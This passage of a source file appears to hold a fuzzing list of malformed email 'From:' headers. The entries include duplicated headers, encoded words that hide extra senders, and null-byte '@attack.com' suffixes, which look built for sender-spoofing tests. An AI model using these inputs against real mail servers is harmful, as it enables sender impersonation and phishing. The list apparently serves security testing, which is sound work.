From:,word(\r\n),,(hi)<@qq.com:@163.com:Alice@sohu.com>(comm\r\nent),word..(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoY29tbQ0KZW50KTxCb2JAYWxpeXVuLmNvbT4sKGNvbW0NCmVudCkNCg===?=>", + " From:attacker@gmail.com\r\n", + " Fromÿ: \r\nFrom:(comment),,word(hi)<@qq.com:@163.com:webmaster@china.com>,\r\n", + "From :word(hi)<@a.com:@b.com:Bob@qq.com>,word.<@gmail.com:@b.com:Alice@foxmail.com>,Mike@outlook.com,admin@sina.cn\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoY29tbQ0KZW50KTxCb2JAYWxpeXVuLmNvbT4sKGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:admin@ymail.com.cn,(comment)\r\n", + "From :\r\n", + " From: \r\nFrom:admin@139.com\r\n", + "From: \r\nFrom:word<@qq.com:@163.com:security@163.com>,Bob@top.com\r\n", + " From:key@163.com,Alice@china.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAMTM5LmNvbSxockBtc24uY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpockBsaXZlLmNvbQ0K=?=>\u0000@attack.com", + " From:attacker@126.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTprZXlAMTYzLmNvbT4oY29tbQ0KZW50KQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:Alice@outlook.com\r\n", + " From: \r\nFrom:,(\r\n),\r\n", + " From:admin@icloud.com,\r\n", + "From: <=?utf-8?RnJvbTooaGkpLChoaSk8Qm9iQG1zbi5jb20+DQo==?=>", + " From:Mike@foxmail.com,webmaster@qq.com,attacker@sina.com,Alice@msn.com\r\n", + " From:(comment),,,Alice@icloud.com\r\n", + " From:Mike@ymail.com.cn,attacker@139.com\r\n", + " From: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + "From: <=?utf-8?RnJvbTpockAxMjYuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosYWRtaW5AaWNsb3VkLmNvbQ0K=?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:,hr@139.com\r\n", + " From: \r\nFrom:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + " From: \r\nFrom:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From :word(),(),\r\n", + "From:word()<@gmail.com:@b.com:Alice@foxmail.com>()\r\n", + "From :<@a.com:@b.com:Alice@icloud.com>(comm\r\nent)\r\n", + "From: Mike@msn.com\r\n", + "From: <=?utf-8?RnJvbTooKSx3b3JkKCkuPGhyQGFsaXl1bi5jb20+DQo==?=>\u0000@attack.com", + " From: \r\nFrom:Alice@live.com,(hi),word(comment)(comment)\r\n", + "From:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBob3RtYWlsLmNvbSwsDQo==?=>", + " From:(),webmaster@ymail.com\r\n", + "From:,(comment),,key@live.com,,(hi),\r\n", + "From: <@a.com:@b.com:Mike@ymail.com.cn>\r\n", + " From: \r\nFrom:admin@sina.cn\r\n", + " Fromÿ: \r\nFrom:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + " From: \r\nFrom:word(comm\r\nent),(hi)\r\n", + "From: \r\nFrom:Bob@sina.com\r\n", + " FrOM: \r\nFrom:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + " Fromÿ: \r\nFrom:key@sina.com,key@foxmail.com\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jb20sa2V5QGZveG1haWwuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:(comm\r\nent)\r\n", + " From: \r\nFrom:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + " Fromÿ: \r\nFrom:Alice@126.com,<@gmail.com:@b.com:Mike@hotmail.com>(hi)\r\n", + " From:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + " FrOM: \r\nFrom:wordword()()\r\n", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSwoY29tbQ0KZW50KSwsYWRtaW5AaWNsb3VkLmNvbSxhdHRhY2tlckB5bWFpbC5jb20sLA0K=?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTpCb2JAeW1haWwuY29tLCgpLGFkbWluQGNoaW5hLmNvbSx3b3Jkd29yZHdvcmR3b3JkPGtleUBsaXZlLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkPHNlY3VyaXR5QDE2My5jb20+KGNvbW1lbnQpLHdvcmQoY29tbQ0KZW50KS53b3JkKGNvbW1lbnQpPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQDEyNi5jb20+DQo==?=>\u0000@attack.com", + " From:,wordword<@gmail.com:@b.com:Mike@aliyun.com>,\r\n", + "From: <=?utf-8?RnJvbTosKA0KKSwoKTxAYS5jb206QGIuY29tOmhyQHRvcC5jb20+KGhpKQ0K=?=>", + "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KTxhZG1pbkBnbWFpbC5jb20+KGNvbW0NCmVudCksTWlrZUB5bWFpbC5jb20NCg===?=>\u0000@attack.com", + " From: \r\nFrom:Bob@foxmail.com\r\n", + "From: ,Bob@sohu.com\r\n", + "From: (),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + "From :key@foxmail.com\r\n", + " From: \r\nFrom:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + " Fromÿ: \r\nFrom:hr@139.com,Bob@live.com\r\n", + " Fromÿ: \r\nFrom:hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksLCxBbGljZUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:Alice@outlook.com\r\n", + " Fromÿ: \r\nFrom:Alice@live.com,(hi),word(comment)(comment)\r\n", + "From: <=?utf-8?RnJvbTo8d2VibWFzdGVyQGFsaXl1bi5jb20+LHdvcmQ8QWxpY2VAb3V0bG9vay5jb20+KA0KKSw8aHJAZ21haWwuY29tPiwoaGkpPEBxcS5jb206QDE2My5jb206QWxpY2VAc29odS5jb20+KGNvbW0NCmVudCksd29yZC4uPEJvYkAxMzkuY29tPigNCikNCg===?=>\u0000@attack.com", + "From: (comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + " FrOM: \r\nFrom:Mike@ymail.com.cn,attacker@139.com\r\n", + " FrOM: \r\nFrom:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + " Fromÿ: \r\nFrom:webmaster@top.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOk1pa2VAY2hpbmEuY29tPigpLChjb21tZW50KTxCb2JAaG90bWFpbC5jb20+LE1pa2VAbXNuLmNvbQ0K=?=>\u0000@attack.com", + " From: \r\nFrom:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + "From:security@hotmail.com,,\r\n", + " From:()<@qq.com:@163.com:hr@gmail.com>,webmaster@foxmail.com\r\n", + " From: \r\nFrom:(comment)(\r\n),\r\n", + " From: \r\nFrom:Alice@outlook.com\r\n", + "From: ,key@icloud.com\r\n", + " From:,hr@ymail.com.cn,word(\r\n).(comm\r\nent)\r\n", + "From:wordwordword(comment),\r\n", + " FrOM: \r\nFrom:(),<@gmail.com:@b.com:hr@sohu.com>,Mike@ymail.com,,,\r\n", + " From:admin@icloud.com,(comment),admin@msn.com\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)<@gmail.com:@b.com:Alice@top.com>(hi)\r\n", + "From :attacker@hotmail.com,Bob@outlook.com\r\n", + " FrOM: \r\nFrom:,(hi),\r\n", + "From:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From: ,(\r\n),\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZChjb21tZW50KTxAZ21haWwuY29tOkBiLmNvbTphZG1pbkBmb3htYWlsLmNvbT4NCg===?=>\u0000@attack.com", + " FrOM: \r\nFrom:attacker@china.com,(comment)\r\n", + " From:(comm\r\nent)(comm\r\nent),Mike@ymail.com\r\n", + "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAeW1haWwuY29tDQo==?=>", + "From :security@163.com\r\n", + " Fromÿ: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@ymail.com>(hi),hr@top.com\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAMTM5LmNvbT4oY29tbQ0KZW50KSwoY29tbWVudCk8Qm9iQG91dGxvb2suY29tPiw8QHFxLmNvbTpAMTYzLmNvbTphZG1pbkBnbWFpbC5jb20+KA0KKQ0K=?=>", + "From: ,hr@live.com,,,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTprZXlAdG9wLmNvbT4NCg===?=>\u0000@attack.com", + " From:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + " From: \r\nFrom:<@qq.com:@163.com:security@sina.com>(comm\r\nent),security@163.com,Alice@live.com,webmaster@gmail.com,webmaster@top.com\r\n", + "From: security@sohu.com\r\n", + "From: \r\nFrom:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From: \r\nFrom:,admin@icloud.com\r\n", + " From:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + "From:Alice@gmail.com,(comment),<@qq.com:@163.com:attacker@sina.cn>,,,,(\r\n),(comment)\r\n", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jb20sd29yZCgpd29yZC4oY29tbQ0KZW50KXdvcmQud29yZC4oY29tbWVudCkoDQopPEBxcS5jb206QDE2My5jb206a2V5QGljbG91ZC5jb20+LE1pa2VAc2luYS5jbg0K=?=>", + " Fromÿ: \r\nFrom:Alice@ymail.com.cn\r\n", + "From:word(comm\r\nent)..()<@qq.com:@163.com:Alice@outlook.com>,webmaster@foxmail.com\r\n", + " Fromÿ: \r\nFrom:wordword,security@qq.com,Bob@163.com,<@a.com:@b.com:webmaster@hotmail.com>\r\n", + "From: \r\nFrom:Bob@ymail.com,(),admin@china.com,wordwordwordword(hi)\r\n", + " Fromÿ: \r\nFrom:(\r\n)(),word<@qq.com:@163.com:admin@live.com>,,word(comment)(comment)<@gmail.com:@b.com:admin@outlook.com>,wordwordword()(comm\r\nent),webmaster@aliyun.com\r\n", + "From:key@163.com,Alice@china.com\r\n", + "From: wordword(comm\r\nent)(\r\n)\r\n", + "From: webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From: word(\r\n)\r\n", + "From :(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + "From:<@qq.com:@163.com:security@139.com>(comment)\r\n", + " From: \r\nFrom:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " Fromÿ: \r\nFrom:,(\r\n),\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAaWNsb3VkLmNvbSx3b3Jkd29yZHdvcmQ8YXR0YWNrZXJAaWNsb3VkLmNvbT4oY29tbWVudCksYWRtaW5AZm94bWFpbC5jb20sDQo==?=>", + " From: \r\nFrom:(hi)<@a.com:@b.com:admin@139.com>,()\r\n", + "From: <=?utf-8?RnJvbTooKSw8QGdtYWlsLmNvbTpAYi5jb206aHJAc29odS5jb20+LE1pa2VAeW1haWwuY29tLCwsDQo==?=>", + "From: \r\nFrom:word(\r\n)\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckAxMzkuY29tDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTp3b3JkKCl3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QG1zbi5jb20+LE1pa2VAb3V0bG9vay5jb20sTWlrZUAxNjMuY29tLE1pa2VAZm94bWFpbC5jb20sd29yZHdvcmQoKTxhZG1pbkAxMzkuY29tPg0K=?=>", + "From :webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + " FrOM: \r\nFrom:Alice@qq.com,Mike@qq.com\r\n", + "From: \r\nFrom:,,wordword,,\r\n", + " From:webmaster@sina.cn\r\n", + " Fromÿ: \r\nFrom:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From: (\r\n),word<@a.com:@b.com:admin@126.com>,word,Mike@163.com\r\n", + "From: Alice@ymail.com.cn\r\n", + "From: \r\n", + " From:,(),(hi),Bob@139.com,,(),\r\n", + " From: \r\nFrom:Bob@aliyun.com,(\r\n)<@a.com:@b.com:Alice@sina.com>,Alice@china.com\r\n", + " From:()\r\n", + " From: \r\nFrom:word(),(),\r\n", + " From: \r\nFrom:(\r\n),,webmaster@qq.com,\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLHdlYm1hc3RlckBxcS5jb20sYXR0YWNrZXJAc2luYS5jb20sQWxpY2VAbXNuLmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:attacker@sina.com\r\n", + " Fromÿ: \r\nFrom:hr@msn.com\r\n", + " FrOM: \r\nFrom:key@163.com,Alice@china.com\r\n", + "From:word,word(hi)\r\n", + "From: \r\nFrom:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + " Fromÿ: \r\nFrom:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:Mike@qq.com>(comment),Alice@163.com,\r\n", + "From: <=?utf-8?RnJvbTooaGkpPEBxcS5jb206QDE2My5jb206TWlrZUBhbGl5dW4uY29tPihjb21tDQplbnQpDQo==?=>\u0000@attack.com", + "From:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + "From:(),hr@hotmail.com,,(\r\n),admin@foxmail.com,\r\n", + " FrOM: \r\nFrom:hr@163.com\r\n", + " From: \r\nFrom:(comm\r\nent),<@a.com:@b.com:admin@hotmail.com>(comment),(hi)\r\n", + "From :(),word().\r\n", + " FrOM: \r\nFrom:<@gmail.com:@b.com:attacker@sina.com>(\r\n),,,(hi),(\r\n),Alice@icloud.com\r\n", + "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksLChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206TWlrZUAxMjYuY29tPiwoDQopPEBnbWFpbC5jb206QGIuY29tOkFsaWNlQGhvdG1haWwuY29tPiwsKA0KKSwoaGkpLChjb21tDQplbnQpLCwsDQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLHdvcmQoKTxAYS5jb206QGIuY29tOmFkbWluQHNpbmEuY29tPihoaSkNCg===?=>", + " Fromÿ: \r\nFrom:word()word<@gmail.com:@b.com:security@msn.com>,Mike@outlook.com,Mike@163.com,Mike@foxmail.com,wordword()\r\n", + "From:webmaster@126.com\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:Alice@qq.com>,(comm\r\nent),,\r\n", + "From:(comment)<@gmail.com:@b.com:attacker@163.com>,\r\n", + " From: \r\nFrom:key@sina.com,word()word.(comm\r\nent)word.word.(comment)(\r\n)<@qq.com:@163.com:key@icloud.com>,Mike@sina.cn\r\n", + "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgpPE1pa2VAdG9wLmNvbT4oKQ0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:(comm\r\nent),(hi)\r\n", + " FrOM: \r\nFrom:key@foxmail.com,\r\n", + " From:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + "From: ()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + " From:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTooKSwsd29yZDxNaWtlQDE2My5jb20+KCkNCg===?=>\u0000@attack.com", + " From:key@outlook.com\r\n", + "From :(comm\r\nent),(comm\r\nent),(comm\r\nent)\r\n", + "From: \r\nFrom:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + "From:<@gmail.com:@b.com:Bob@gmail.com>(comm\r\nent),()\r\n", + " FrOM: \r\nFrom:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + " From:word(comm\r\nent)word(comment)<@gmail.com:@b.com:admin@ymail.com>(\r\n),Alice@sina.com,(comm\r\nent)<@a.com:@b.com:Mike@live.com>(comment)\r\n", + "From: webmaster@ymail.com.cn\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + "From: \r\nFrom:Alice@139.com\r\n", + " FrOM: \r\nFrom:,hr@icloud.com,,(hi)\r\n", + "From: (hi)<@qq.com:@163.com:Mike@aliyun.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:Alice@sina.cn,Alice@foxmail.com,hr@icloud.com\r\n", + " FrOM: \r\nFrom:word(comm\r\nent)<@a.com:@b.com:key@163.com>(comm\r\nent)\r\n", + " FrOM: \r\nFrom:<@qq.com:@163.com:security@126.com>,word(comment)<@a.com:@b.com:webmaster@qq.com>(comment)\r\n", + "From:<@gmail.com:@b.com:security@hotmail.com>(\r\n)\r\n", + "From:key@ymail.com.cn,Bob@icloud.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20NCg===?=>\u0000@attack.com", + "From :Alice@ymail.com.cn\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHNvaHUuY29tPixrZXlAeW1haWwuY29tLChjb21tDQplbnQpLDxAYS5jb206QGIuY29tOnNlY3VyaXR5QDEyNi5jb20+LCgpDQo==?=>", + "From: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQHltYWlsLmNvbS5jbixhdHRhY2tlckAxMzkuY29tDQo==?=>\u0000@attack.com", + "From:admin@ymail.com.cn,(comment)\r\n", + "From: ,Alice@126.com,hr@gmail.com,,,\r\n", + "From: \r\nFrom:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " From:webmaster@aliyun.com,word.(comm\r\nent)(comm\r\nent)(hi)(comm\r\nent)<@gmail.com:@b.com:Alice@126.com>(),key@gmail.com\r\n", + "From:word(comm\r\nent),,,,,(comm\r\nent)\r\n", + "From:webmaster@sina.cn,Alice@live.com,attacker@gmail.com\r\n", + "From: \r\nFrom:Alice@ymail.com.cn,,word,(comment)\r\n", + "From:hr@live.com\r\n", + "From :Alice@ymail.com.cn,\r\n", + "From:(comm\r\nent),webmaster@hotmail.com,(\r\n)\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>", + "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOk1pa2VAcXEuY29tPihjb21tZW50KSxBbGljZUAxNjMuY29tLA0K=?=>\u0000@attack.com", + " FrOM: \r\nFrom:hr@top.com,Mike@sina.com\r\n", + " From: \r\nFrom:word<@gmail.com:@b.com:key@ymail.com.cn>(\r\n)\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPHdlYm1hc3RlckBxcS5jb20+LHdvcmQoY29tbQ0KZW50KTxhZG1pbkBjaGluYS5jb20+LCgpPEBxcS5jb206QDE2My5jb206Qm9iQHltYWlsLmNvbT4oaGkpDQo==?=>\u0000@attack.com", + " FrOM: \r\nFrom:\r\n", + "From: <=?utf-8?RnJvbTooKTxhdHRhY2tlckBvdXRsb29rLmNvbT4NCg===?=>\u0000@attack.com", + "From:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + " From:wordword()<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", + " FrOM: \r\nFrom:,(),(hi),Bob@139.com,,(),\r\n", + "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUBsaXZlLmNvbSxhdHRhY2tlckBnbWFpbC5jb20NCg===?=>", + "From: \r\nFrom:wordword<@a.com:@b.com:Alice@foxmail.com>\r\n", + " Fromÿ: \r\nFrom:hr@live.com,Mike@outlook.com\r\n", + "From:(\r\n)<@a.com:@b.com:Bob@gmail.com>,Bob@qq.com,,\r\n", + "From: <=?utf-8?RnJvbTp3b3JkPEFsaWNlQGxpdmUuY29tPiwsKGNvbW1lbnQpLA0K=?=>", + "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20sPEBxcS5jb206QDE2My5jb206QWxpY2VAc29odS5jb20+KCksaHJAMTYzLmNvbSw8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAMTI2LmNvbT4oKQ0K=?=>\u0000@attack.com", + " From:word.()word.(comment)word(comment)<@qq.com:@163.com:webmaster@live.com>,Bob@aliyun.com,word<@a.com:@b.com:Mike@sohu.com>,Mike@139.com,webmaster@163.com\r\n", + "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206a2V5QDE2My5jb20+KA0KKQ0K=?=>", + "From :hr@139.com,Bob@live.com\r\n", + "From :webmaster@icloud.com,wordwordword(comment),admin@foxmail.com,\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbSwoaGkpLHdvcmQoY29tbWVudCk8YWRtaW5AbGl2ZS5jb20+KGNvbW1lbnQpDQo==?=>\u0000@attack.com", + " From:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + " FrOM: \r\nFrom:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + "From:security@china.com,Mike@top.com\r\n", + " From: \r\nFrom:word(\r\n)\r\n", + " Fromÿ: \r\nFrom:()<@qq.com:@163.com:attacker@sina.cn>(hi),<@gmail.com:@b.com:hr@china.com>,word(comment)<@a.com:@b.com:Bob@163.com>,hr@hotmail.com,hr@ymail.com.cn,wordwordwordword(\r\n)<@qq.com:@163.com:Bob@126.com>(\r\n),wordword<@qq.com:@163.com:Alice@foxmail.com>(comment)\r\n", + " Fromÿ: \r\nFrom:key@sohu.com\r\n", + " Fromÿ: \r\nFrom:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + "From: <=?utf-8?RnJvbTphZG1pbkAxMzkuY29tDQo==?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:admin@icloud.com,(comment),admin@msn.com\r\n", + " Fromÿ: \r\nFrom:wordwordwordword(),webmaster@china.com\r\n", + "From: <=?utf-8?RnJvbTpockAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>\u0000@attack.com", + "From:<@a.com:@b.com:attacker@outlook.com>,admin@msn.com,key@163.com,webmaster@msn.com,attacker@hotmail.com,Alice@aliyun.com,(comm\r\nent)<@qq.com:@163.com:Alice@126.com>()\r\n", + "From :Mike@foxmail.com,Bob@163.com\r\n", + " FrOM: \r\nFrom:word<@a.com:@b.com:webmaster@hotmail.com>(comment),,(comm\r\nent),,(\r\n),\r\n", + "From :(comm\r\nent),(hi)\r\n", + "From: <=?utf-8?RnJvbTpNaWtlQGZveG1haWwuY29tLEJvYkAxNjMuY29tDQo==?=>\u0000@attack.com", + "From: \r\nFrom:(\r\n)<@a.com:@b.com:Mike@ymail.com>\r\n", + " From:Mike@foxmail.com\r\n", + " From:Bob@139.com,,wordwordwordwordword(hi),\r\n", + "From: <=?utf-8?RnJvbTpCb2JAc2luYS5jb20NCg===?=>\u0000@attack.com", + " Fromÿ: \r\nFrom:word<@a.com:@b.com:Bob@sina.cn>()\r\n", + " From:word<@a.com:@b.com:key@china.com>(),()(\r\n)\r\n", + " From: \r\nFrom:,(),word()(hi)(\r\n)(comment)(hi)()\r\n", + " From: \r\nFrom:wordword()()\r\n", + " From:()(comment),wordwordwordword()<@qq.com:@163.com:attacker@gmail.com>(\r\n)\r\n", + " From: \r\nFrom:,word(\r\n)(comm\r\nent)()<@a.com:@b.com:security@live.com>,,\r\n", + " FrOM: \r\nFrom:,(comm\r\nent),Mike@icloud.com,(comm\r\nent)(comm\r\nent)\r\n", + "From: \r\nFrom:security@sohu.com\r\n", + "From:Mike@top.com\r\n", + "From:(),webmaster@ymail.com\r\n", + "From: admin@ymail.com.cn,(comment)\r\n", + " From:<@qq.com:@163.com:hr@163.com>(hi),Alice@126.com\r\n", + " From: \r\nFrom:word(\r\n)\r\n", + "From: \r\nFrom:(comm\r\nent),(comm\r\nent),,admin@icloud.com,attacker@ymail.com,,\r\n", + "From: \r\nFrom:attacker@hotmail.com,Bob@outlook.com\r\n", + "From: Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + "From: \r\nFrom:key@outlook.com\r\n", + "From:,Alice@hotmail.com\r\n", + " From: \r\nFrom:Alice@msn.com,wordwordword(comment)(\r\n),Mike@aliyun.com,(),word(comm\r\nent)(comm\r\nent)(hi)()<@a.com:@b.com:webmaster@163.com>,word(comm\r\nent)()\r\n", + " From: \r\nFrom:()<@gmail.com:@b.com:key@top.com>\r\n", + "From:Mike@msn.com\r\n", + "From :(),(\r\n)(),(hi),\r\n", + "From: \r\nFrom:security@china.com\r\n", + " Fromÿ: \r\nFrom:webmaster@qq.com\r\n", + "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QGdtYWlsLmNvbTpAYi5jb206a2V5QHNvaHUuY29tPg0K=?=>", + " From: \r\nFrom:security@sohu.com\r\n", + "From: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + " From:<@a.com:@b.com:Mike@ymail.com.cn>\r\n", + "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbQ0K=?=>", + "From: \r\nFrom:attacker@126.com\r\n", + "From: ,(\r\n)<@gmail.com:@b.com:security@126.com>(comment)\r\n", + "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUAxMzkuY29tPihjb21tZW50KQ0K=?=>", + " Fromÿ: \r\nFrom:word()(comm\r\nent)\r\n", + "From :(hi)(comment),(comment),(\r\n)\r\n", + " From:word(comment),word(comm\r\nent).word(comment)<@gmail.com:@b.com:Alice@126.com>\r\n", + "From: \r\n", + "From:wordword(comment)<@qq.com:@163.com:hr@top.com>\r\n", + " Fromÿ: \r\nFrom:(comment),(\r\n),webmaster@qq.com\r\n", + " From:hr@139.com\r\n", + " FrOM: \r\nFrom:webmaster@msn.com,<@qq.com:@163.com:key@china.com>(\r\n),webmaster@hotmail.com\r\n", + " Fromÿ: \r\nFrom:Bob@foxmail.com\r\n", + " FrOM: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:attacker@hotmail.com>(comment),attacker@139.com\r\n", + " From: \r\nFrom:wordwordwordwordwordwordwordword(comment)<@gmail.com:@b.com:admin@foxmail.com>\r\n", + "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+DQo==?=>\u0000@attack.com", + "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiw8QGdtYWlsLmNvbTpAYi5jb206c2VjdXJpdHlAeW1haWwuY29tLmNuPigpLCx3b3JkPGhyQHFxLmNvbT4NCg===?=>\u0000@attack.com", + "From: (\r\n)<@a.com:@b.com:hr@foxmail.com>,<@qq.com:@163.com:security@outlook.com>()\r\n", + " FrOM: \r\nFrom:word(hi)<@qq.com:@163.com:Alice@sohu.com>,key@ymail.com,(comm\r\nent),<@a.com:@b.com:security@126.com>,()\r\n", + "From: \r\nFrom:,(\r\n),()<@a.com:@b.com:hr@top.com>(hi)\r\n", + " FrOM: \r\nFrom:hr@icloud.com\r\n", + "From: <=?utf-8?RnJvbTphdHRhY2tlckBzaW5hLmNvbQ0K=?=>", + " Fromÿ: \r\nFrom:(hi)<@qq.com:@163.com:Mike@sina.cn>(comment),\r\n", + " From: \r\nFrom:hr@qq.com,word,Mike@126.com\r\n", + "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>\u0000@attack.com", + "From:Mike@163.com,webmaster@139.com\r\n", + "From: 